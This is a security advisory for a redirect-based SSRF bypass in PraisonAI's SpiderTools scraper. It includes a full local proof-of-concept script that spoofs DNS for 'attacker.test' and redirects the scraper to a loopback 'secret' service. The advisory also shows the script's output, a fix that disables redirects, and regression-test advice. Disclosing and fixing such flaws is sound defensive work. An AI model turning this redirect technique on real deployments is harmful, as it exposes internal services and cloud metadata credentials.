PYSEC-2026-3531 
# SpiderTools redirect-target SSRF protection bypass

## Summary

`SpiderTools.scrape_page()` validates the initial URL and rejects direct
loopback, private, link-local, metadata, and internal hostnames. It then calls
`requests.Session.get()` without disabling automatic redirects or validating
redirect `Location` targets.

Requests follows redirects by default for GET requests. A safe-looking public
URL can therefore pass `_validate_url()`, redirect to a blocked target such as
`127.0.0.1` or `169.254.169.254`, and have the redirected response body parsed
and returned by `scrape_page()`.

The same sink is used by `extract_links()`, `crawl()`, and `extract_text()`
through their calls to `scrape_page()`.

## Affected component

```text
src/praisonai-agents/praisonaiagents/tools/spider_tools.py
```

Tested affected:

- `v3.9.24` / `d08d98ca`
- `v3.9.26` / `62472a23`
- `v4.6.56` / `d3c4a2af`
- `v4.6.57` / `e90d92231853161ad931f3498da57651a9f8b528`
- current main `2f9677abb2ea68eab864ee8b6a828fd0141612e1`

No patched version is known at report time.

## Root cause

Current main validates only the caller-supplied URL:

```python
if not self._validate_url(url):
    return {"error": f"Invalid or potentially dangerous URL: {url}"}
```

The fetch then uses Requests defaults:

```python
response = session.get(
    url,
    timeout=timeout,
    verify=verify_ssl
)
```

Because `allow_redirects=False` is not set, Requests follows a 3xx redirect to a
new destination that has not been checked by `_validate_url()` or
`_host_is_blocked()`.

## Proof of vulnerability

The PoV below is local-only and does not contact external infrastructure. It
starts a loopback-only internal service and a local redirector. During
PraisonAI's initial host validation, `attacker.test` is made to look like a
public address. During the actual HTTP request, it routes to the local
redirector, which returns `302 Location: http://127.0.0.1:<port>/secret`.

Full PoV:

```python
#!/usr/bin/env python3
"""Local PoV for SpiderTools redirect-target SSRF.

This uses only loopback services. The "attacker" hostname is treated as public
during PraisonAI's initial URL validation, then routed to a local redirector so
the PoV does not contact external infrastructure. The redirector points at a
loopback-only internal service. Vulnerable behavior is confirmed when
SpiderTools follows that redirect and returns the internal response body.
"""

from __future__ import annotations

import http.server
import importlib.util
import inspect
import os
import socket
import socketserver
import threading
from typing import Any


def _load_spider_tools_class():
    module_file = os.environ.get("PRAISONAI_SPIDER_TOOLS_FILE")
    if module_file:
        spec = importlib.util.spec_from_file_location("pov_spider_tools", module_file)
        if spec is None or spec.loader is None:
            raise RuntimeError(f"Could not load spider_tools file: {module_file}")
        module = importlib.util.module_from_spec(spec)
        spec.loader.exec_module(module)
        return module.SpiderTools

    from praisonaiagents.tools.spider_tools import SpiderTools

    return SpiderTools


class InternalHandler(http.server.BaseHTTPRequestHandler):
    body = b"SPIDER-INTERNAL-SECRET"

    def do_GET(self) -> None:  # noqa: N802
        self.server.hit = True  # type: ignore[attr-defined]
        self.send_response(200)
        self.send_header("Content-Type", "text/html")
        self.send_header("Content-Length", str(len(self.body)))
        self.end_headers()
        self.wfile.write(self.body)

    def log_message(self, *_args: Any) -> None:
        return


class RedirectHandler(http.server.BaseHTTPRequestHandler):
    target = ""

    def do_GET(self) -> None:  # noqa: N802
        self.server.hit = True  # type: ignore[attr-defined]
        self.send_response(302)
        self.send_header("Location", self.target)
        self.end_headers()

    def log_message(self, *_args: Any) -> None:
        return


def _called_from_spider_host_guard() -> bool:
    return any(frame.function == "_host_is_blocked" for frame in inspect.stack())


def main() -> int:
    os.environ.pop("ALLOW_LOCAL_CRAWL", None)

    internal = socketserver.TCPServer(("127.0.0.1", 0), InternalHandler)
    internal.hit = False  # type: ignore[attr-defined]
    internal_port = internal.server_address[1]

    RedirectHandler.target = f"http://127.0.0.1:{internal_port}/secret"
    redirect = socketserver.TCPServer(("127.0.0.1", 0), RedirectHandler)
    redirect.hit = False  # type: ignore[attr-defined]
    redirect_port = redirect.server_address[1]

    threading.Thread(target=internal.serve_forever, daemon=True).start()
    threading.Thread(target=redirect.serve_forever, daemon=True).start()

    original_getaddrinfo = socket.getaddrinfo

    def fake_getaddrinfo(host: str, port: int, *args: Any, **kwargs: Any):
        if host == "attacker.test":
            if _called_from_spider_host_guard():
                return [
                    (
                        socket.AF_INET,
                        socket.SOCK_STREAM,
                        6,
                        "",
                        ("93.184.216.34", port),
                    )
                ]
            return original_getaddrinfo("127.0.0.1", port, *args, **kwargs)
        return original_getaddrinfo(host, port, *args, **kwargs)

    tool = _load_spider_tools_class()()
    socket.getaddrinfo = fake_getaddrinfo
    try:
        direct_control = tool.scrape_page(
            f"http://127.0.0.1:{internal_port}/secret",
            timeout=5,
        )
        redirect_result = tool.scrape_page(
            f"http://attacker.test:{redirect_port}/go",
            timeout=5,
        )
        vulnerable_redirect_hit = bool(redirect.hit)  # type: ignore[attr-defined]
        vulnerable_internal_hit = bool(internal.hit)  # type: ignore[attr-defined]

        redirect.hit = False  # type: ignore[attr-defined]
        internal.hit = False  # type: ignore[attr-defined]

        import requests

        original_session_get = requests.Session.get

        def no_redirect_get(self, url, **kwargs):  # type: ignore[no-untyped-def]
            kwargs.setdefault("allow_redirects", False)
            return original_session_get(self, url, **kwargs)

        requests.Session.get = no_redirect_get
        try:
            no_redirect_control = _load_spider_tools_class()().scrape_page(
                f"http://attacker.test:{redirect_port}/go",
                timeout=5,
            )
        finally:
            requests.Session.get = original_session_get
        no_redirect_redirect_hit = bool(redirect.hit)  # type: ignore[attr-defined]
        no_redirect_internal_hit = bool(internal.hit)  # type: ignore[attr-defined]
    finally:
        socket.getaddrinfo = original_getaddrinfo
        redirect.shutdown()
        internal.shutdown()
        redirect.server_close()
        internal.server_close()

    print("DIRECT_CONTROL:", direct_control)
    print("REDIRECT_RESULT:", redirect_result)
    print("REDIRECT_SERVER_HIT:", vulnerable_redirect_hit)
    print("INTERNAL_SERVER_HIT:", vulnerable_internal_hit)
    print("NO_REDIRECT_CONTROL:", no_redirect_control)
    print("NO_REDIRECT_SERVER_HIT:", no_redirect_redirect_hit)
    print("NO_REDIRECT_INTERNAL_HIT:", no_redirect_internal_hit)

    if not isinstance(direct_control, dict) or "dangerous URL" not in str(direct_control):
        raise SystemExit("control failed: direct loopback was not blocked")
    if not isinstance(redirect_result, dict) or "error" in redirect_result:
        raise SystemExit(f"bypass failed: unexpected result {redirect_result!r}")
    if "SPIDER-INTERNAL-SECRET" not in str(redirect_result.get("content", "")):
        raise SystemExit("bypass failed: internal body was not returned")
    if not vulnerable_redirect_hit or not vulnerable_internal_hit:
        raise SystemExit("bypass failed: expected local servers were not hit")
    if not no_redirect_redirect_hit or no_redirect_internal_hit:
        raise SystemExit("fix control failed: no-redirect mode reached internal service")

    print("PRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback")
    return 0


if __name__ == "__main__":
    raise SystemExit(main())
```

Run:

```fish
cd /Users/rexliu/Documents/GA\ code/REDit\ Deployment/stack/deploy
env PRAISONAI_SPIDER_TOOLS_FILE=/path/to/PraisonAI/src/praisonai-agents/praisonaiagents/tools/spider_tools.py \
  uv run --with requests --with beautifulsoup4 --with lxml --python 3.11 \
  poc_spider_tools_redirect_ssrf.py
```

Observed on current main:

```text
DIRECT_CONTROL: {'error': 'Invalid or potentially dangerous URL: http://127.0.0.1:<port>/secret'}
REDIRECT_RESULT: {'url': 'http://attacker.test:<port>/go', 'status_code': 200, ... 'content': 'SPIDER-INTERNAL-SECRET', ...}
REDIRECT_SERVER_HIT: True
INTERNAL_SERVER_HIT: True
NO_REDIRECT_CONTROL: {'url': 'http://attacker.test:<port>/go', 'status_code': 302, ... 'Location': 'http://127.0.0.1:<port>/secret', ...}
NO_REDIRECT_SERVER_HIT: True
NO_REDIRECT_INTERNAL_HIT: False
PRAI-CAND-004 CONFIRMED: SpiderTools follows a redirect to loopback
```

The direct control proves direct loopback is blocked. The redirect result proves
the same blocked destination is reached through a public-looking initial URL.
The no-redirect control proves that disabling automatic redirects prevents the
internal request while still receiving the external redirect response.

## Why this is not intended behavior

The Spider Tools documentation says `scrape_page`, `extract_links`, `crawl`, and
`extract_text` refuse dangerous URLs before network requests. The documented
blocked classes include loopback, private/reserved IPs, link-local/cloud
metadata endpoints, internal TLDs, non-HTTP(S) schemes, and parser-smuggling
forms. The same page states the validation is always on for bundled spider tools
and does not require `enable_security()`.

The current code also documents `_validate_url()` as URL validation "to prevent
SSRF attacks." A redirect to a loopback target bypasses that documented
protection.

## Impact

An attacker who can influence a URL passed to `scrape_page()`,
`extract_links()`, `crawl()`, or `extract_text()` can cause the PraisonAI process
to request destinations that SpiderTools is designed to block.

Potential impact includes:

- reading loopback-only HTTP services;
- probing or reading private network services reachable from the PraisonAI host;
- reading link-local/cloud metadata endpoints if reachable in the deployment
  environment.

The PoV demonstrates returned response-body disclosure from a loopback-only
service. This report does not claim arbitrary code execution or live cloud
credential theft without deployment-specific evidence.

## Severity

Suggested default severity: Moderate.

High severity may be appropriate for deployments where untrusted users can
directly invoke SpiderTools through a network-facing agent, bot, API, or MCP
service and sensitive internal or metadata services are reachable.

## Suggested fix

Disable automatic redirects in `scrape_page()`:

```python
response = session.get(
    url,
    timeout=timeout,
    verify=verify_ssl,
    allow_redirects=False,
)
```

If redirects should remain supported, follow them manually and validate every
`Location` target before each hop using the same SSRF guard:

- require `http` or `https`;
- resolve and validate every redirect hostname;
- reject loopback, private, link-local, reserved, multicast, unspecified,
  internal, and metadata destinations;
- cap redirect count;
- apply the same safe fetch path to `scrape_page()`, `extract_links()`,
  `crawl()`, and `extract_text()`.

Regression tests should cover direct loopback rejection, public-to-loopback
redirect rejection, public-to-public redirects if supported, and all
`scrape_page()` callers.
CVSS v3.1 score: 6.5